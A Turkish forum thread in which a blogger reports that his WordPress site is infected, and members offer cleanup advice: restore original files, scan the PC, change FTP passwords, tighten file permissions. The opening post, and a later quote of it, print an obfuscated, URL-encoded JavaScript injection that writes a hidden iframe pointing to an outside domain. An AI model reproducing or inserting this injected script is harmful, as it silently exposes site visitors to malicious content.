Wordpress Blogumda Virüs [YARDIM]

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    MikRoBiT
    MikRoBiT's avatar
    Kayıt Tarihi: 11/Ekim/2007
    Erkek

    Beyler kişisel blogumda (mikrobit.org)  Bugün öğle saatlerinden beri şu hatayı almaktayım:

    Parse error: syntax error, unexpected '<' in /home/wwwmikr/public_html/wp-includes/default-filters.php on line 228

     

    228. satırda ve diğer bazı dosyaların(özellikle indexlerin) en altında şu kod var:

     

    <script>eval(unescape(
    '%65%76%61%6C%28%66%75%6E%63%74%69%6F%6E%28%61%55%2C%75%76%62%2C%54%4F%68%2C%63%71%51%2C%45%68%43%2C%41%4D%29%7B%45%68%43%3D%53%74%72%69%6E%67%3B%69%66%28%21%27%27%2E%72%65%70%6C%61%63%65%28%2F%5E%2F%2C%53%74%72%69%6E%67%29%29%7B%77%68%69%6C%65%28%54%4F%68%2D%2D%29%41%4D%5B%54%4F%68%5D%3D%63%71%51%5B%54%4F%68%5D%7C%7C%54%4F%68%3B%63%71%51%3D%5B%66%75%6E%63%74%69%6F%6E%28%45%68%43%29%7B%72%65%74%75%72%6E%20%41%4D%5B%45%68%43%5D%7D%5D%3B%45%68%43%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%72%65%74%75%72%6E%27%5C%5C%77%2B%27%7D%3B%54%4F%68%3D%31%7D%3B%77%68%69%6C%65%28%54%4F%68%2D%2D%29%69%66%28%63%71%51%5B%54%4F%68%5D%29%61%55%3D%61%55%2E%72%65%70%6C%61%63%65%28%6E%65%77%20%52%65%67%45%78%70%28%27%5C%5C%62%27%2B%45%68%43%28%54%4F%68%29%2B%27%5C%5C%62%27%2C%27%67%27%29%2C%63%71%51%5B%54%4F%68%5D%29%3B%72%65%74%75%72%6E%20%61%55%7D%28%27%35%2E%32%28%22%3C%38%20%37%3D%5C%5C%22%36%3A%2F%2F%34%2E%30%2F%5C%5C%22%20%33%3D%31%20%39%3D%31%3E%22%29%3B%27%2C%31%30%2C%31%30%2C%27%63%6F%6D%7C%7C%77%72%69%74%65%7C%77%69%64%74%68%7C%62%65%73%6C%6F%71%61%77%65%7C%64%6F%63%75%6D%65%6E%74%7C%68%74%74%70%7C%73%72%63%7C%69%66%72%61%6D%65%7C%68%65%69%67%68%74%27%2E%73%70%6C%69%74%28%27%7C%27%29%2C%30%2C%7B%7D%29%29'));</script><!-- uy7gdr5kmn -->

     

     

    Ne olduğunu anlamadım ama sanırım iframe. Ve temizleyemedim lanetolası şeyi. Bilgisi olan varsa lütfen yardım etsin :) Şu tasarım anketine yetiştirmem gerekiyor siteyi. Gidicek güzelim site.


    Ban servis - Instagram Facebook WhatsApp Snapchat
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    MikRoBiT
    MikRoBiT's avatar
    Kayıt Tarihi: 11/Ekim/2007
    Erkek

    Gençlik hiç mi bilen yok :|


    Ban servis - Instagram Facebook WhatsApp Snapchat
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    opensource2009
    opensource2009's avatar
    Kayıt Tarihi: 19/Aralık/2008
    Erkek

    tema dosyanda ki indexlerden wp-admin de ki lerden temizle.Olmadı wordpress'i baştan at(dosyaları).İzinleri kontrol et sonra.Bİlgisayarında virüs olamdığına emin ol (standart oalrak söylenir)

  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    myblackworldweb
    myblackworldweb's avatar
    Kayıt Tarihi: 10/Mart/2008
    Erkek

    MikRoBiT bunu yazdı:
    -----------------------------

    Gençlik hiç mi bilen yok :|


    -----------------------------

     

    hocam tema dosyalarına ve bütün index.php dosyalarına bulaşıyor.

     

    google farkedince siteyi zararlı içerik kategorisine katıp siteye erişimi engelliyor..

    temiz bir virüs taraması yap. tam temiz olduğuna emin 0lduktan sonra  host şifreni değiştir, 

    zararlı kodları önce sil  sonra visrüs olan dosyaların cchmod özeliklerini 444 yap

     

     


    ¯\(ツ)/¯ ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    MikRoBiT
    MikRoBiT's avatar
    Kayıt Tarihi: 11/Ekim/2007
    Erkek

    Hocam ilk önce şu kod olan dosyaları temizledim. Sonra hata veren default-filters dosyasının üzerine gitti.Uyarı veren 228. satırdaki <?php ile başlayan kodu sildim ve satırı yok ettim. Site düzeldi. Ama büyük ihtimal 1 saate yine gider. Ftp şifremi değiştirim pcyi taratıcam..


    Ban servis - Instagram Facebook WhatsApp Snapchat
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    myblackworldweb
    myblackworldweb's avatar
    Kayıt Tarihi: 10/Mart/2008
    Erkek

    MikRoBiT bunu yazdı:
    -----------------------------
     

    Hocam ilk önce şu kod olan dosyaları temizledim. Sonra hata veren default-filters dosyasının üzerine gitti.Uyarı veren 228. satırdaki
    -----------------------------

     

    önce pc yi tarat sonra ftp şifreni değiştir


    ¯\(ツ)/¯ ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    MikRoBiT
    MikRoBiT's avatar
    Kayıt Tarihi: 11/Ekim/2007
    Erkek

    myblackworldweb bunu yazdı:
    -----------------------------

    MikRoBiT bunu yazdı:
    -----------------------------
     

    Hocam ilk önce şu kod olan dosyaları temizledim. Sonra hata veren default-filters dosyasının üzerine gitti.Uyarı veren 228. satırdaki
    -----------------------------

     

    önce pc yi tarat sonra ftp şifreni değiştir


    -----------------------------

     

    Tamam öyle yapıcam sağol :)


    Ban servis - Instagram Facebook WhatsApp Snapchat
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Chip
    Chip's avatar
    Kayıt Tarihi: 13/Eylül/2007
    Erkek

    cracklenmiş ftp aracı kullanıyorsan büyük olasılık ondan bulaşmıştır FileZilla kullan.

  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    MikRoBiT
    MikRoBiT's avatar
    Kayıt Tarihi: 11/Ekim/2007
    Erkek

    Avira bunu yazdı:
    -----------------------------

    cracklenmiş ftp aracı kullanıyorsan büyük olasılık ondan bulaşmıştır FileZilla kullan.


    -----------------------------

     

    Filezilla güncel sürüm kullanıyorum


    Ban servis - Instagram Facebook WhatsApp Snapchat
  10. KısayolKısayol reportŞikayet pmÖzel Mesaj
    can498
    can498's avatar
    Kayıt Tarihi: 22/Nisan/2009
    Erkek

    kanki o virüs değilde şifrelenmiş kod olmasın

    “eval” yazan kısmı “highlight_string” olarak değiştir  kaydet ve hosta at.daha sonra dosyayı calıstır.


    Bir bulutun aya ulaşma mücadelesiydi hayat...
  11. KısayolKısayol reportŞikayet pmÖzel Mesaj
    CanKirca
    CanKirca's avatar
    Kayıt Tarihi: 11/Nisan/2009
    Erkek

    MikRoBiT bunu yazdı:
    -----------------------------

    Beyler kişisel blogumda (mikrobit.org)  Bugün öğle saatlerinden beri şu hatayı almaktayım:

    Parse error: syntax error, unexpected '<' in /home/wwwmikr/public_html/wp-includes/default-filters.php on line 228

     

    228. satırda ve diğer bazı dosyaların(özellikle indexlerin) en altında şu kod var:

     

    // '%65%76%61%6C%28%66%75%6E%63%74%69%6F%6E%28%61%55%2C%75%76%62%2C%54%4F%68%2C%63%71%51%2C%45%68%43%2C%41%4D%29%7B%45%68%43%3D%53%74%72%69%6E%67%3B%69%66%28%21%27%27%2E%72%65%70%6C%61%63%65%28%2F%5E%2F%2C%53%74%72%69%6E%67%29%29%7B%77%68%69%6C%65%28%54%4F%68%2D%2D%29%41%4D%5B%54%4F%68%5D%3D%63%71%51%5B%54%4F%68%5D%7C%7C%54%4F%68%3B%63%71%51%3D%5B%66%75%6E%63%74%69%6F%6E%28%45%68%43%29%7B%72%65%74%75%72%6E%20%41%4D%5B%45%68%43%5D%7D%5D%3B%45%68%43%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%72%65%74%75%72%6E%27%5C%5C%77%2B%27%7D%3B%54%4F%68%3D%31%7D%3B%77%68%69%6C%65%28%54%4F%68%2D%2D%29%69%66%28%63%71%51%5B%54%4F%68%5D%29%61%55%3D%61%55%2E%72%65%70%6C%61%63%65%28%6E%65%77%20%52%65%67%45%78%70%28%27%5C%5C%62%27%2B%45%68%43%28%54%4F%68%29%2B%27%5C%5C%62%27%2C%27%67%27%29%2C%63%71%51%5B%54%4F%68%5D%29%3B%72%65%74%75%72%6E%20%61%55%7D%28%27%35%2E%32%28%22%3C%38%20%37%3D%5C%5C%22%36%3A%2F%2F%34%2E%30%2F%5C%5C%22%20%33%3D%31%20%39%3D%31%3E%22%29%3B%27%2C%31%30%2C%31%30%2C%27%63%6F%6D%7C%7C%77%72%69%74%65%7C%77%69%64%74%68%7C%62%65%73%6C%6F%71%61%77%65%7C%64%6F%63%75%6D%65%6E%74%7C%68%74%74%70%7C%73%72%63%7C%69%66%72%61%6D%65%7C%68%65%69%67%68%74%27%2E%73%70%6C%69%74%28%27%7C%27%29%2C%30%2C%7B%7D%29%29')); // ]]>

     

     

    Ne olduğunu anlamadım ama sanırım iframe. Ve temizleyemedim lanetolası şeyi. Bilgisi olan varsa lütfen yardım etsin :) Şu tasarım anketine yetiştirmem gerekiyor siteyi. Gidicek güzelim site.


    -----------------------------

    bak,

    o dosyayı ve onun altındaki dosyayı orjinaliyle değiştir, düzelecek.


    Twitter: @CanKirca
Toplam Hit: 2618 Toplam Mesaj: 14